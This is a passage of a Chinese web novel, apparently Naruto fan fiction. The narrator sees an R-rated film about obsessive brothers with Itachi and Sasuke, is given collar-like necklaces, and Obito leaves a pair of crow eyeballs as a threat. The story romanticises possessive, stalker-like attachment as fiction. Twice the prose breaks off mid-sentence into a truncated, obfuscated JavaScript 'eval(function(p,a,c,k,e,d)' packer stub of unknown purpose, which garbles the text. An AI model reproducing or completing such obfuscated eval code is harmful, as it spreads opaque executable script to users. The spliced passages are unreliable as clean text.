鼬微微侧了下脑袋,黑发轻轻一动,漫不经心地瞥了眼旁边的佐助。 “不用,”鼬淡淡地说,“抽到了三张。出发吧。” 24.第 24 章 24、 下楼去停车场的时候,在同样的位置,遇见了上次晨跑的老人。 和往常一样停下脚步打了招呼,老人却愣住了。 脸上亲切的笑容逐渐消失,老人家看着站在我一左一右的鼬和佐助,露出呆滞的表情。 “增加了一位?!”老人震惊地喃喃,语气中流露出惊恐与难以置信。 鼬一言不发,将手掌按在我的肩膀上,握住我的手,一根根插进指缝,接着牢牢锁住。他垂着鸦羽般浓密的眼睫,表情平静自然俯视对方。 “你宣示主权的样子真难看,鼬。” 佐助瞪了哥哥一眼,冷笑道。抓住我的胳膊,将我拽到他的身后。 我踉跄了一下,抓握住佐助的胳膊稳住身体,不小心碰到了他的小臂,连忙把手松开。 “抱歉抱歉。”我小声说。 他的体温残留在我的指尖,触感如玉,近乎灼烧般的刺痛。 佐助扭过头,冷冷地看着我。 我鼻尖开始冒汗。 我已经尽量减少碰到他的可能性了,可佐助还是会生气。 鼬低头慢慢转着无名指上的戒面,抬起脸来,对老人平静道:“这是舍弟,家中太过溺爱末子,养得他有些任性。让您见笑了。” 佐助的脸色愈发的冰冷厌烦。 围观着这一切的老人,大脑内部进行着激烈的搏斗,不知道脑补了什么八点档剧情,眼神相当动摇。 我简单做了介绍:“这位是宇智波鼬,这位是宇智波佐助。” “姓氏一样……?”对方很快就发现了。 “是的,”我笑着点头,“您很敏锐呢,这两位是亲生兄弟。” 老人家莫名其妙用敬佩的目光看着我,我满头雾水:“兄弟两个全部都……父母也同意了吗?” “这个的话,刚好商量过了。计划最近工作忙完,带……佐助要去吗?” “嗯。” 我继续说:“带他们俩回去拜访我的父母。”我顿了顿,“我不是东京本地人,老家在北边的乡下。” “你的父母真开明。”老人语气复杂地感叹,我有些疑惑:我的爸爸妈妈应该不会拒绝我带朋友回老家来玩? “三个人的话,生活起来很麻烦吧,”老人担心地问,”平时不会吵架吗?” 佐助的确和鼬关系很差,时常剑拔弩张、气氛焦灼。但不好在外面提起,我委婉地说:“也有相应的处理方法。” 佐助冷静道:“这是我和哥哥之间的问题……不会让她为难的。” 老人打量着佐助,满意地点了点头,慈爱地对我笑道:“呵呵呵,你有办法就好。” 鼬淡淡道:“请放心,我们会照顾好她的。她是个很好的孩子。” “哎呀,真是年轻啊……”老人认真地审视了他们俩片刻,半晌点了点头,对我说,“既然选择了这条路……唉,你们要幸福啊。” 她真是和蔼亲切的长辈。我笑着点头:“我会的,谢谢您。” 老人犹豫了片刻,拉着我走到一边,隐晦地小声问:“那个做哥哥的,是不是身体不好?” 鼬时常会忍不住轻咳几声,加上苍白到病态的肤色。很容易能看出来他的身体并不健康。 但我想鼬的自尊很高,一定不愿意被人以弱者的目光怜爱。便解释道:“虽然看起来病弱,不过鼬力气很大的,耐力也很好。” 能把超级重的购物袋,一路单手提回家。脸不红心不跳。 “力气大,耐力好……”老人倒吸一口凉气,又来回看了几眼,对比了下我和他们俩的体型差,面露惊恐地说,“这两个年轻人看起来龙精虎猛的……你的身体还吃得消吗?” “这个……”我的确在服用精神类药物,三餐作息不规律,身体处在亚健康状态,但不知道她是怎么看出来的,我勉强道,“多谢您的关心,生活上是比较辛苦,不过我暂时还能应付。” 或许是看出来了我的强笑,老人不赞同道:“撑不住别硬撑,多为你的身体想想!” “您是指?” 老人闪烁其词地告诉我,她退休前在医院工作。日本少子化趋势严重,相关医疗方面,政府有相应的优惠政策,药品价格十分低廉。 我可以去医院开一些滋阴补肾的药物,在疲于应对之时服用,延长精神振奋的时间,以便维持健康和谐的家庭关系。 原来女性也有这方面的药品?我还以为一般来说都是男性有这方面的隐疾。可我应该暂时用不上这个? 我还没有结婚,拥有伴侣呢。 我有些不解地目送她离开。 鼬和佐助见我们聊完,很快就走过来,同我一起往停车场走去。 我在东京没有相熟的长辈,难得收到来自老人家的关爱,心中温暖,忍不住出言道:“如果是我的家人,也会这样关心我吧。”我简单说了下老人善意的建议,“她还推荐了我几种药物,但我应该暂时不需要考虑这方面的问题?” 别说是结婚生子,大约恋爱相关的一切话题,在这几年事业上升期我都没时间考虑。光是处理手头上繁重的工作就足够我忧心了。 鼬低头看了我一会儿。 佐助忽然发出了很奇怪的声音。“饥渴的女人……”他冷冷地把脸别到一边,快步走上前,先行拉开了后座车门,坐了进去。 他坐进去之后,并没有把门关上。 像是在等待什么人坐在他身边似的,在身侧恰好空出了一个身位。 “……不好说。”鼬不紧不慢地和我并排走着,淡淡地说,“但我一直有注意调养你的身体。假以时日,你应该能够做到的。” 我为什么需要调养身体?我十分疑惑,在这三个人里,最需要调养身体的应该是鼬吧? 我心中微微一怔—— 是因为比起他自己,鼬更关心我吗? 如果不是鼬这两天细心的照顾,让我放松下来,我或许还会像之前一样抗拒吃药。频繁失眠,在深夜焦虑崩溃,莫名其妙大哭。更别说出门去看电影了。 我有些感动。 “目前还是……”鼬停下脚步,站在车前,为我打开副驾驶车门,清冷淡然的目光自我的腰肢上一扫而过,“太勉强了点。” 我很快坐进了车里,再一次道谢。 “非常感谢鼬这两天对我的照顾,如果有我能帮到你的地方,也请尽管对我提出。” “没什么,”他紧接着坐进来,“照顾你和佐助是我的责任。在精神上我得到的愉悦,就是最好的谢礼。” “……少在那里摆出一副兄长的样子恶心人了,是你先背叛了我和父亲母亲,丢下了我们所有人!”佐助露出倒胃口的表情,恶狠狠地带上车门,坐得离鼬八丈远,“只有记吃不记打的蠢货才会再一次被你欺骗!” 但他明明对鼬生气,为什么瞪的却是坐在副驾的我? 后背仿佛灼烧般的刺痛。 我:“……” 我不敢问,只好窝囊地缩起身子,变成一摊命苦的年糕,缓缓往下滑。 鼬就像没听见似的,面不改色,从驾驶座倾身过来帮我系好安全带。 即使被亲弟弟厌恶,他的眼睛依旧乌沉沉的,犹如死水,波澜不惊。 真是强大稳定的自我锚定。 锁扣发出“咔哒”一声,鼬微凉的长发落在我的脸上,墨玉般柔冷的触感。 虽然鼬让我无需介怀,但总是接收朋友的无私帮助而不回报,让我有些良心难安。我的目光扫过近在咫尺的、鼬空荡荡的精致脖颈,想了想,心里有了主意。 路上耽搁了几分钟,到了影院,离开场时间已经很靠近了。我们分开行动,鼬去兑换电影券,我和佐助去买了爆米花和饮料。 检票的时候还额外有年龄限制,检查了证件。 座位当然是三个人连在一起的,我咔嚓咔嚓吃着爆米花,期待地观赏着电影。 这是之前明美推荐我的,兄弟不伦晨间剧相关的电影。因为电视剧人气很高,所以制作了后续的电影上映,演员也是原班人马。 故事延续电视剧的胃痛设定。在电视剧结尾假死逃出生天的女主人公,终于摆脱了偏执狂兄弟俩的纠缠。在乡下开始了自己新的人生,生活清贫但温馨。 但是好景不长,一次意外事故,使得她再度被这对疯狂的兄弟找到。而更令人揪心的是,此时,她的身边已经有了一位年幼的女孩。 这女孩称呼女主人公为“妈妈”。 完全忘记了兄弟俩,即使死亡也要逃离,带着丈夫的遗腹子独自坚强生活的女主人公,彻底惹怒了这两个家伙。 有了软肋的女主人公悲惨地被兄弟二人予取予求。 方有曙光的新的人生,转瞬间堕入新的黑暗漩涡之中。 故事情节跌宕起伏,感情纠葛激烈黑暗。加上有年龄限制,更是少不了大尺度的戏码。 佐助大概到了中场部分就开始坐立难安,不停扭过头,神情古怪地看我的表情。 有过激戏码的时候,更是直接撑着额头,用两指揉着紧皱的眉心,满脸烦躁。 “……无聊。” 他意外的,蛮纯情的啊。我在心中大为震撼。 冗长狗血的晨间剧大多以擦边不伦戏吸引收视率,相关亲热戏码我看得比较多,所以并没有什么特别的感觉。 而鼬的礼仪很好,从头到尾的坐姿都没有变化一下。表情也不变,淡淡地看着电影,依我看,他看社会新闻的时候也这表情。只有在我碰了碰他的手背,无声问“要不要吃爆米花”的时候,才从善如流地微微弯下腰,张开嘴,看着我。 这个意思是……? 我不太确定地把爆米花塞进鼬微张的嘴里。 他对我点了下头,又重新坐回去。 那之后我要喂他吃爆米花,就会轻轻碰碰他的手背,他就很自然地弯腰方便我投喂他。 有点像投喂小猫咪,感觉蛮可爱的。 电影散场,观影人们三三两两地走出影院,讨论着电影剧情。 “女主人公也太惨了呜呜……”有一对情绪比较外显的结伴友人路过我们身边,拿着纸巾用力揩鼻涕擦眼泪,“这下子完全变成兄弟俩的玩物了,这辈子都逃不掉了……呜呜呜……太可怕了被这两个疯子缠上……” “是真爱啊!”另一个人说,“即使死亡也不会松开手,无论如何也要找到你。如此真挚感人的爱意……呃当然,女主人公结局是惨了点……都退行成那种样子了,完全是被玩坏掉了吧。真可怕……” 她搓了搓胳膊上的鸡皮疙瘩。 “电影里看看还蛮刺激的。真遇上这种不听人话、自说自话、死都不放过你的男鬼,我肯定跑得比谁都快。” “两个男主人公里面,还是弟弟比较温柔吧。哥哥完全是大变态!” “为什么要在两个男鬼里面分一个不那么鬼的啊?依我看这两个人都很恐怖好吗!温柔是稍微比较温柔吧,但坏事也没少干啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我问:“咦?难道说,对于女主人公死遁这几年的生活,男主人公全程都是知情的吗?” “我猜是这样。”佐助说,“如果是我,也会这样做。” “我懂这种心情:不好好注视着她,照顾她的生活,就没法放下心。”鼬说。 “不会被发现吗?”我提出心中的疑问。想要长期跟踪某个人,应该很难不被发现吧。还长达几年时间…… 现任巡查佐助看了我一眼:“很简单就能做到。毕竟对方完全没有这方面的意识……” 有魄力和勇气诈死的女主人公很有魅力,绝对不是没有自救能力,只会啼哭的弱者。顽强不屈的她与兄弟俩的抗争和拉扯,在剧中也十分吸引人。 但是,即使这样厉害的女主人公,她所做的一切,自以为得到的第二份人生曙光,其实也全都在这对偏执狂疯子的掌控之中吗? 虚假的希望。无论如何努力都无法获得自由的绝望。彻底的悲剧。 有种从骨髓中透出来的冰冷寒意。 一旁偷听的,排在后面队伍里的路人发出吸冷气的声音,好像很冷的样子。一边发抖一边狂搓胳膊。 “好恐怖……” “鬼啊!” “什么人会鬼一样看着女主人公看好几年啊……” “不我说前面那两个黑发帅哥为什么会那么了解男主人公在想什么啊?!说真的那个女生还好吗?!” 店里客人很多,结账完我们很快就走了出来。 影院在商城里,我们决定在这里找一家餐厅解决午餐。 等待电梯的时候,我把购买的手机链拆开,别在手机上。忽然听见鼬低声说:“抬头。” 我下意识照做了。 两个人一前一后靠过来,手臂绕过我的脖子。 相近的气息融合在一起。三个人就像抱在一起似的。 脖子上有点凉凉的。 我对着电梯反光的门板看了下,脖子上多了两条项链。 一黑一白,简洁优雅,款式就像项圈。 恰好是女主人公后半段被锁在屋子里,暗无天日时佩戴的。电影周边出这个同款,多少让人心里有点毛毛的,但受到不少追求刺激的女性顾客的欢迎。没想到鼬和佐助不约而同买了。 是礼物吗? 我摸了摸,感激地道了谢。 见到我欣然接受,这两个人都十分满意的模样。我也蛮开心的。 佐助帮我戴完项链后并没有松开手,指腹压抑地磨捻着后颈柔软的皮肉,力度卡在让人微感不适,稍有窒息,呼吸困难。又不至于难受到推开他的程度。像是在感受和确认着什么。 或许是少时遭逢大变,佐助的性情一向隐忍,甚少表露心思。总是压抑与克制。 因此爆发时,令人恐惧。 有一瞬间,我以为他会掐着我的脖子,就这样把我用力按在电梯门上,令我双脚悬空,脊背剧痛。粗暴地咬开我的脖颈,用舌尖□□勾挑肌理间的筋络,吞食喷涌的鲜血。 但只是错觉。 他乌沉沉的眼睛盯着我的脖颈看了会儿,边缘泛着隐隐的红光。 我感到隐约微妙的不安。 食指指根骤然隐隐抽痛起来,连带着血液的宕流,肌肤微微冒出冷汗。他抚摸我的指腹在揉捻间便有了湿润的黏滞感。 相触的地方有什么在灼烧,温度烫得惊人。 仿佛有生物电流,在肌肤表层窜过,激起细弱的震颤与喘息。 叮咚。 电梯到了。 “你喜欢就好。” 在迈步走进电梯之前,他哑声道。 他明明松开了手,脖颈上却依旧残留着那种被紧缚的窒息感。难以呼吸,满身冷汗。 或许是,项链系得太紧了吧。 25.第 25 章 25、 商场一层的意大利餐厅,装修风格是典型的乡村复古风。整体以原木色为主,点缀花卉与油画。 餐前面包放在藤编篮中,用来抹面包的黄油是做了复合调味的,加入了莳萝、蜂蜜与柠檬,酸甜可口,香味清新自然。此外也可以选择咸味的蒜香黄油与培根黄油。 等待上菜的期间,我翻看了一下群组,回复了朋友们的消息。拍摄了新购入的手机链发给明美她们,收到了爱理“人家下周也要去看噢!”的回复,明美则是问:“剧情怎么样?女主人公最后和谁在一起了?” 剧透没关系吗? 我想了想,回复她:“是个好结局。” 人生被玩弄得一塌糊涂的女主人公在最后对绝望的现实崩溃,彻底成了兄弟俩的玩物。 结尾幸福的一家四口的日常生活,在点滴的细节里透出诡异的阴森感,违反常识,令人不寒而栗。 风雨后,聚在一起分食红豆饭的一家人,如同鼬所说的那样,温馨感人。 明美:“呵呵,我对你口中的‘好结局’抱持怀疑态度。” “为什么这样说?” “你是大脑少根筋的笨蛋。” “诶?” “被坏男人吃掉以后别来找我哭泣。我的怀抱只向着有钱有权的年轻大帅哥敞开。” 虽然这么说,但是去找她的话,绝对会一边骂骂咧咧,一边温柔地抱住我吧。 “明美喜欢的人是斑先生吧?” “哈啊?那已经是过时的老男人了,”明美刻薄地说,“对别的女人一心一意的男人我没有兴趣。” 被甩了呢……!斑先生真可怜! 不过斑居然有喜欢的人了吗?明明是朋友,之前却从来没有听他说过。 “如果明美喜欢有钱有权的大帅哥,那么电影绝对是好结局了!”我回复道。 这时候,之前在学校的群聊消息弹了出来。 “诶——好羡慕!”小樱发了长长的感叹号,回复我之前发送的照片,语气亲昵地撒娇,“我也想去看电影——” “小樱最近很忙吗?” “小樱最近在和纲手老师特训!经常拿我扎针,超痛的!”鸣人帮忙回复了。虽然可能是在对我抱怨。 大家都很辛苦呢……! “鸣人呢?” “爸爸每天都派给我很多工作……”鸣人发送了哭泣的表情,“好想找你们玩……我一看到文书脑袋就好晕。但是爸爸说如果想要继承火之意志,就必须完成艰苦的特训。所以,我一定要做到!” 小樱:“这里有吊车尾狐狸被坏蛋爸爸骗了。” 我:“是呢是呢。”水门先生真是坏心眼。 鸣人:“欸?是谁?!” 是笨蛋呢! 我在心里悄悄松了口气。上次那件事发生以后,只要我在群组中说话,鸣人就会沉默。即使发言,也会刻意避开和我有关的话题。交接文件时,公事公办的样子成熟得吓人。 虽说鸣人也到了该成熟稳重的年纪,水门先生也在刻意培养他成为下一代火影。但那可是鸣人。是会和我一起在便食屋喝十个积分兑换的便宜汽水的鸣人。是在开学时收留无处可住的孤独的我,热情地把我介绍给他的朋友的鸣人。是说要一直和我做挚友的鸣人。 他这副冷漠的样子太过陌生了,好像另一个人。明明说好了要做一辈子的朋友,忽然摆出这副拒人于千里之外的奇怪态度是后悔了吗?不想和我继续做朋友了吗?心中浮现出的感觉很怪。像是汽水瓶里上浮破裂的气泡。心脏又酸又涨,眼眶发酸,想要哭泣,又觉得为了这点小事毫无理由。 小樱应该也发现了这件事,她一直心思很细腻,关心在意自己的朋友们。不知道这段时间是不是小樱去找鸣人聊了什么,鸣人好像恢复了之前的状态,很自然地和我聊天起来了。 因为是乐天派的笨蛋,所以大概睡了一觉,他就忘掉那天微妙的尴尬氛围了吧! 只有我一个人惦记着,真是难为情。 我们又聊了几句,鸣人毫无知觉地自爆自己昨天吃了过期速食面肚子痛的糗事,我忍不住和小樱一起笑起来——好像回到之前的关系里了。太好了。保持现状就很好,不想失去鸣人这样重要的好朋友。那种事比死掉还要难受。 其他的朋友也相继回复了我。 雏田温柔地夸赞,手机链很漂亮,可以的话,她也会后续购入,想和我用相同的款式。 “好呀好呀。”我高兴地打字,“雏田今年会回日本吗?” 上次联系她,她还在国外备考,不知道下次再聚是什么时候了。 毕业后大家都各奔东西,有时候也会感到些许寂寞。但到了新的环境,结识了新的友人,也是人生新旅程的开端。 这么一想,我把照片也发到了斑和带土的群组。 我:[图片] 我:和朋友们去看了电影,是新买的手机链! 带土几乎是秒回。 带土:欸~你的心情很好嘛~~ 他发送了一大堆花里胡哨的动图表情。小黑猫在对话框里对我做着各种各样可爱的动作。 心脏都要融化了。 我:嗯!难得的休息日,带土也要注意身体,好好休息噢! 为了年底上线的月之眼企划,他和斑几乎全年无休。周末也在加班。 带土:我不是这个意思喔~~ 我:嗯嗯? 带土:你还是第一次主动给我发消息,真害羞[心] ……咦? 往前翻了下聊天记录。好像真的,大部分时候都是带土主动开启话题,发送日常生活,然后询问我在做什么。偶尔斑也会来问我工作上的事,接着超级不经意地让我汇报自己最近几天做了什么。但我没有一次主动问过他们。 我愣住了。 带土:好高兴~~ 带土:第?一?次?的分享?甜蜜??心动大公开??? 带土:[心]这样的主动预示着什么?爱情表现?结婚宣言?日后想与我共度余生,缠绵地分享着彼此的人生?就这样黏糊糊地交织在一起?你对我的感情,我已经完全接收到了?心脏扑通扑通的,好激烈??无论是这一生,还是下一世,我们的骨头都要埋葬在一起? 可爱俏皮的口癖、对颜文字和表情使用的熟练程度,完全就是女高中生。 斑:…… 斑:[语音]我看得到,带土。 斑:[语音]我还没死呢。 带土:啧,你不是飞到芬兰开会了? 斑:[语音]你也过来。 带土:才不要~~争风吃醋的老男人真恶心~不会以为把我支开你就能乘虚而入了吧?人家马上要去找这孩子去市役所~~ 斑:[语音]带土。 放下餐盘的应侍生手臂忽然抖了一下,奶油浓汤撒了一点出来。他连忙道歉,撤下去说会重新上一份。 我戴上耳机。 带土:几点的机票? 斑:[语音]两个小时后。 带土:我知道了。 怎么就这样快速进入社畜模式了! 带土:人家会拍极光给你看的哦~ 我还没有亲眼见过极光呢! 我:谢谢……!好期待! 带土:听说在极光下许愿,就能梦想成真 我:带土要许什么愿? 斑忽然插话进来。 斑:[语音]不准许。 ……好霸道!! 带土:小心眼的男人不会有女人喜欢哦~ 斑:[语音]别以为我不知道你要干什么。 带土:安心。暂时还不想做得太过分,我只是想让这孩子能够放松一些。 带土:极光啊极光,请让我心爱的孩子获得幸福——当然幸福是由我给予的。 带土:没有我存在,她必然不可能得到幸福。 我莫名其妙打了个寒颤,像被人恶毒地诅咒了似的。 斑:[语音]许愿的时候,我会盯着你的。 带土:嘁,严防死守。 带土:没有你碍事,我早就…… 带土:啧,明明房间早就布置好了,她绝对会喜欢。必要的准备我也……都是你碍事。 斑:[语音]碍事的人是你。 火药味好浓! 这两个人为什么互相觉得对方很碍事?我们三个不是朋友吗?? 带土:我182 为什么忽然说自己的身高?我也要报吗? 而且为什么斑莫名其妙沉默了。感觉细想下去会有很不尊敬的想法冒出来。 我连忙打住。 我:是说我吗? 带土:每天拼命勉强自己的人,在这里还有谁? 带土:你自己应该不知道,你平时很少笑。总是皱着眉,睡觉时也这样。 ……他怎么知道我睡觉时什么样子? 带土:给自己的压力太大了,天天挂着黑眼圈来工作,我很心疼噢。让你在沙发上睡一会儿也总是拒绝。我这边一直都可以养你。绝对比某个年纪很大、不会照顾人、给你安排超多工作的老家伙要贴心。 他是不是在偷偷蛐蛐什么人。 斑:[语音]是,你逼自己太过了。过犹不及。 他顿了顿,低沉磁性的嗓音透过耳机,钻进耳蜗里。 斑:[语音]累了的时候可以来找我。 找斑做什么呢? “嗯……”他说,“有能让你很快放松下来,陷入沉睡的办法。” 是吗?那下次要试试看了! 其实,我觉得带土和斑每天加班也很辛苦……! 休息日还要飞去开会,想想就命苦。 带土:说起来,我有些好奇…… 我:嗯? 带土:你的照片里,桌子上有三杯水。 身旁的沙发往下一陷,一个高大健硕的身影靠了过来,低沉甜蜜的话语几乎紧接着落下,贴着耳畔擦过。 “是在和谁一起约会?” 我侧过脸,看见带土戴着白面具的脸。 他抬手摘下面具,一只手搭在沙发边缘,把玩着面具,一只手伸过来,揽住我的肩膀。脸上挂着漫不经心的甜蜜笑容,热情地注视着对面的鼬和佐助。 “带土?”我摘下左耳用来听语音的耳机。 他的声音如同蜜糖般黏稠,又令人毛骨悚然:“啊,顺路过来一趟。认识认识你的新朋友。” 他摩挲着我的头发,眯起眼睛,毫无情绪地盯着对面,笑着说:“哎呀,是富岳家的两个孩子吧?一转眼都长这么大了。时间过得还真是快呢。我家的这孩子一直都给自己的压力太大了,总是觉得自己不够好,拼了命地想要追上我的脚步。虽然这种感情甜蜜沉重到让我心生怜爱,但有时也想让她停下脚步歇息片刻。我很欣慰在我没时间陪在她身边的时候,能有朋友照顾她,让她放松一会儿。” 他拿起我喝过的茶杯放在嘴边,对准口红印抿了一口。顺势将手心里握着的东西放在桌子上,注视着对面,姿态亲切又热情。像是俯视的长辈,又像是纵容小孩子玩乐的上位者。有种漫不经心的轻蔑傲慢,极为侮辱。 “在此送上礼物,作为我的感谢。” 那东西圆润猩红,拇指指甲盖大小,像是湿润的石榴籽,又比石榴籽大上许多。有淡淡的血腥气。 在桌子上滚动了下,露出背后粘连的红红白白的筋络。 是一对动物的眼球。 从半刻钟前开始,天边总是徘徊不去的乌鸦就没有了踪影。露出淡蓝色的澄澈天空。 鼬平静地看着他,抬手按住要起身的佐助。 佐助脸色难看,表情阴沉。 带土脸上的笑容慢慢收了回去,眼神冰冷。 带土不笑着的时候,那张被毁容了的脸是很吓人的。 或许是因为与斑是叔侄关系,他身上同样有着某种令人不寒而栗的压迫感。只是平时刻意收敛,显得亲切。 鸦雀无声。 噤若寒蝉。 带土拍了拍我肩上不存在的灰尘:“你对他人总是太温柔了,让那些东西也以为自己有机会。什么不三不四的朋友都交。这里是,那里也是……” 带土死死盯着我的背后。 我转过头望去,落地窗外,除了一辆停在街对面的黑色的陌生轿车,几个行人外,什么也没有。 “真让人操心。”他慢慢地说,对我笑了笑,“在外面玩累了,就回家休息几天。只要别忘记你真正爱着的人是谁。” 佐助冷冷地笑了下,嘲讽意味十足。 “需要多休息的应该另有其人——男人上了年纪就开始走下坡路了。”他眼神冰冷阴郁,“不行了就别留下碍眼。” 带土睨了他一眼:“……牙尖嘴利的小鬼头,对长辈尊重点。我还年轻力壮,不劳你操心。” 他看向我,若无其事地上眼药:“不过斑那老家伙的确年纪有点大了。” 我:? 真的好吗?他真的要这样伤敌一千自损八百吗?在座的四个人里,其实是他最为年长。斑没比他大多少岁。 而且这和我的关系是? 带土看了下腕表,站起来:“我还有飞机要赶,就不多留了。你们好好玩,”他说,“账我已经付过了,就当是我请。之前的账单麻烦寄给我,这孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“告别吻。”带土煞有其事地说,将我的脑袋掰过来看着他,有点在鼬和佐助面前耀武扬威的意思,“据说在意大利,妻子会对出门行军的丈夫献上祝福之吻。以求他不被死神与战争带走。” 带土的思想还挺西化的……!只是去国外开会而已!好夸张! “没有告别吻?”他要求,“那至少给我个临别礼物。” 我犹豫。 “我们不是挚友吗?”他不满,“你和两个挚友出来约会,留我一个人飞去工作!难道只有他们俩是你的挚友?我算什么?你的心里还有没有我?!” 为什么像丈夫逼问出轨的妻子? 我冷汗直流。 莫名其妙心里发虚。 想了想,我把手机链解下来,送给他了。 “还有谁有?”他很警惕。 “只送了你一个人。”我只买了一条……这个普通周边手机链为什么忽然这么抢手! “其他人都没有?” “都没有。” “斑也没有?” 为什么要在这里提到斑?这对叔侄最近是不是越来越不对付了?! 为什么啊! 我摇了摇头:“没有。” 带土看起来挺高兴的。 他扣上面具,心满意足地离开了。 带土并没有在这里待多久,桌子上的饭菜还冒着热气。 脖子上凉凉的,我摸了下,这才发现,不知何时,两条一黑一白的项链断裂开来,掉在了身上。 “项链……”我低着头呢喃,有些纳闷。 质量有这么差吗? “有形的枷锁能够被插足者破坏,但你对我的爱是无法被抹去的。如果你喜欢,我们过会儿可以再买。” 男人的声音稳重而平静,安慰我道。 不过“插足者”是指? 我抬起头,对上鼬的目光,他拿着手帕,轻轻按了下眼角。 手帕上残留着湿润的猩红,鼬的眼睛不知何时受了伤,往外流着血。 他的脸色苍白得骇人。 红与白的对比鲜明刺目,令他在阳光下有股别样的惊人的脆弱与易碎。仿佛布满裂纹,将要崩裂的冰雕。 我心里一紧。 “你没事吧,鼬?” 他摇了摇头,捂着嘴轻轻咳了几声,手指点了点桌面,将那对血肉模糊的乌鸦眼球收了起来。平静道:“吃饭吧。” 我有些迟疑地拿起餐具,心里不知怎么,总有些惴惴不安。 我忍不住转头去看落地窗外。心里陡然一惊。 那辆停在街对面的黑色轿车,不知何时开了过来。 就靠着落地窗停了下来。 与我的距离近在咫尺。 几乎紧贴着我。 汗毛耸立。 佐助厌恶地“哈啊”了一声。 “越来越不加收敛了,觊觎别人的爱人也要有个限度。” 鼬也看了一眼,声音十分冷淡。 “别担心,我会处理的。”他说,“这也是交易的一部分。” “交易?” “我对带土先生的承诺。”鼬拿过我的餐盘,帮我切割着小羊排,“或者说,鸢?我倒不知道他在‘晓’外面还有其他身份……” 什么意思??带土吗?? 我:?? 他们什么时候谈好的??谈了什么?? 听起来很厉害的样子,这种大人物之间的事,应该和我没关系吧……! 佐助拧眉想了想:“他是故意暴露?” “也可能是不小心露了马脚。” “可笑的震慑。”佐助冷哼一声,没忘记顺带讽刺自己的兄长,“和你的做法一样恶心。” “或许吧。”他模棱两可地说,十分平静,不为所动,“但至少哥哥是向着你的,佐助。” “……就是这点才让人反胃!少摆出一副什么都没发生的模样!没人忘记你曾经做过什么!” 佐助发出倒胃口的声音,冷冷地将没动几口的餐盘推远了。 鼬平静地拿过去帮他切割肉排。 “你有什么资格对我说教?!我忍受你到现在只因为——” 佐助隐晦地看了我一眼,将话吞了回去,闭上了嘴。按着我放在桌子上的手掌,用指腹摩擦推挤着柔嫩的掌心,压抑着怒气。 就像在捏猫肉垫解压。 我疑惑又茫然地看着佐助。 难道我是解压玩具? 我试着抽了下手。 他冷冰冰地看过来,表情显然是反问我要做什么。 我抖了一下,立刻低下头窝囊地随便他捏,满头大汗地用单手吃饭。 鼬把切好的肉排挨个换到我和佐助面前。 他就像没听见似的,往嘴里塞了一颗西兰花,缓慢咀嚼。 “你小时候就很讨厌吃蔬菜,佐助。现在也一样没改掉挑食的坏习惯。” 我十分佩服。 26.第 26 章 26、 随着天气逐渐转凉,河岸边苍绿的荻花染上金色,凉风吹过,摇曳着发出干燥的沙沙声。天高云淡,水声潺潺,有时我透过窗子看见它们弯下的脊梁,就像看见老家秋天里成熟了的、金灿灿的麦子。 妈妈有时会发送田野里的照片过来,绿油油的山林与城市里银灰色的钢铁森林是两种不同的人生。我偶尔回复,每次都如临大敌,生怕说错一句话。绞尽脑汁挑生活中有趣的事告诉她。 但她不知怎么,听到那些我努力编造的、犯蠢滑稽的事却丝毫不开心,总是忧心忡忡,认为我在大城市工作很辛苦。 “你小时候很爱笑的。”她说,“那么大一点,赤着脚在田野上跑来跑去,玩得满身都是泥巴。妈妈在老远就能听见你的笑声。” “现在有高兴的事,我也会——” “那不一样。”她打断我,“那不一样。” 是哪里不一样了呢? 工程队的施工也进入尾声,只剩下一部分扫尾工作。 大部分展台已经搭建完毕,能够使用。文化祭即将开始,为了节省时间,联系了能乐师们,将排练事宜提上日程。以便能够把施工和排练同步进行。 舞台表演这方面的工作,主要是明美他们部门在跟进。因此最近明美也时常到工地出外勤。我们见面的机会大大增加。 明美做事一向八面玲珑,精明强干,只来了几次,工程队的人就时常提起她,是我要学习的前辈。 这次也不例外,在交接完工作,核对了接下来的推进方向以后。明美变戏法似的从小巧精致的手提包里,掏出一个巴掌大小的礼品袋递给我。 “你要的东西。”明美说,“我哥给了内部折扣。是下个季度的新款,货源很紧的。” 明美的兄长在银座的一家奢侈品店担任经理,有优惠的途径。 “太感谢了!” 我接过来,打开首饰盒看了看,是我在官网上挑选了很久选定的款式:项链纤细精致,低调内敛,想象着对方戴上去的样子,心中十分满意。 我将小票拿出来,查看了下金额,数完零以后感到脑中一阵眩晕。深呼吸了好几下,才鼓起勇气说:“麻烦明美前辈了,稍后我会将款项转给你。” “OK,你有空转我就好。幸好你买得早,听说消费税明年又要上涨了,”她对数额巨大的款项并不十分在意,悠闲地用手指绕着头发,打量着发梢,抱怨道,“不知道要涨到多少,说是民意调查,政府真的有听取吗?知事只会在竞选期间为了选票说大话,真讽刺。” 不知道房租会不会涨呢……我流着冷汗笑了几下。两个人抱怨了几句税收政策。 明美忽然问:“你要送给谁,男朋友?家人?” “是要送朋友的。”我愣了下,“前辈怎么知道我是买来送人的?” “你平时根本不穿戴名牌啊,护肤品都是开架货,怎么可能忽然买高档奢侈品来用。”时尚达人明美一针见血地说,“你当我白痴吗?买这么贵的首饰,肯定是送人的。” 她好厉害啊…… 我想了想,说:“前辈真敏锐呢,没错,是一位对我很照顾的年长朋友。他是个温柔细心的好人,对我十分关爱。之前我不小心将他的项链弄坏了,心中一直很愧疚。所以想购买一个新的送给他。既作为补偿,又作为感谢。” “你每个月的工资才这个数吧,”明美捏着拇指和食指,比划了一个可怜兮兮的数字,狐疑道,“还要付房租。一下子大出血这么多?真的应付得来吗?” 金额的确非常高昂,令我心中流血。但我认为鼬值得这样的回报。 只一味索取,是不会得到真正的友谊的。 最为贵重的,其实是珍贵的心意。 “对方帮了我很多忙,我们生活在一起,他对我来说是像家人一样重要的存在。也像家人一样照顾我,辛苦地打理家务和准备餐食。我想为他也做点什么,”我说了鼬为我做的事,认真地补充,“但我观察了好久,发现他好像什么都不缺。我思来想去,也不知道该怎么表达我的谢意……”于是选了最笨的方法。 那就是送昂贵的礼物。 希望鼬能明白我的感激之情。 明美古怪地盯着我看了几秒钟,忽然发出恍然大悟的声音:“原来家里是有报恩的小白脸、啊不,白鹤啊,怪不得啊!” “欸?” 她伸出手,捏了下我的脸颊肉,坏笑道:“我就说你最近怎么气色好多了。” 